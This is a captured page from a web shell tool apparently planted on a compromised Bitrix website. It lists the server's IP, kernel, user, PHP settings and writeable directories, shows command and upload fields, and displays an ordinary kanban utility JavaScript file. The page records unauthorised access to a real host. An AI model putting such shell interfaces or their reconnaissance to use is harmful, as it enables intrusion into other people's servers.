%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.128.171.243
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/main/kanban/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/main/kanban/utils.js
;(function() {

"use strict";

BX.namespace("BX.Kanban");

BX.Kanban.Utils = {

	/**
	 *
	 * @param {number} code
	 */
	getKeyDownName: function(code)
	{
		switch(code)
		{
			case 27:
				return 'Escape';
			default:
				return false;
		}
	},

	isValidId: function(id)
	{
		return BX.type.isNumber(id) || BX.type.isNotEmptyString(id);
	},

	getClass: function(fullClassName)
	{
		if (!BX.type.isNotEmptyString(fullClassName))
		{
			return null;
		}

		var classFn = null;
		var currentNamespace = window;
		var namespaces = fullClassName.split(".");
		for (var i = 0; i < namespaces.length; i++)
		{
			var namespace = namespaces[i];
			if (!currentNamespace[namespace])
			{
				return null;
			}

			currentNamespace = currentNamespace[namespace];
			classFn = currentNamespace;
		}

		return classFn;
	},

	isEmptyObject: function(obj)
	{
		//noinspection LoopStatementThatDoesntLoopJS
		for (var name in obj)
		{
			return false;
		}

		return true;
	},

	isValidColor: function(hex)
	{
		return BX.type.isNotEmptyString(hex) && hex.match(/^([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/);
	},

	/**
	 *
	 * @returns {String[]}
	 */
	getDefaultColors: function()
	{
		return [
			"00c4fb",
			"47d1e2",
			"75d900",
			"ffab00",
			"ff5752",
			"468ee5",
			"1eae43"
		];
	},

	isDarkColor: function(hex)
	{
		if (!this.isValidColor(hex))
		{
			return false;
		}

		if (hex.length === 3)
		{
			hex = hex.replace(/([a-f0-9])/gi, "$1$1");
		}

		hex = hex.toLowerCase();
		var defaultColors = this.getDefaultColors();
		if (BX.util.in_array(hex, defaultColors))
		{
			return true;
		}

		var bigint = parseInt(hex, 16);
		var red = (bigint >> 16) & 255;
		var green = (bigint >> 8) & 255;
		var blue = bigint & 255;

		var brightness = (red * 299 + green * 587 + blue * 114) / 1000;
		return brightness < 128;
	},

	showErrorDialog: function(error, fatal)
	{
		if (!BX.type.isNotEmptyString(error))
		{
			return;
		}

		var dialog = BX.PopupWindowManager.create(
			"main-kanban-error-dialog",
			null,
			{
				titleBar: BX.message("MAIN_KANBAN_ERROR"),
				content: "",
				width: 400,
				autoHide: false,
				overlay: true,
				closeByEsc : true,
				closeIcon : true,
				draggable : { restrict : true},
				contentColor: "white"
			}
		);

		dialog.setContent(error);

		dialog.setButtons([
			new BX.PopupWindowButton({
				text: (fatal === true)
					? BX.message("MAIN_KANBAN_RELOAD")
					: BX.message("MAIN_KANBAN_ERROR_CLOSE"),
				className: "popup-window-button-accept",
				events: {
					click: function()
					{
						if (fatal === true)
						{
							BX.reload();
						}
						this.popupWindow.close();
					}
				}
			})
		]);

		dialog.show();

		return dialog;
	}
};

})();


Youez - 2016 - github.com/yon3zu
LinuXploit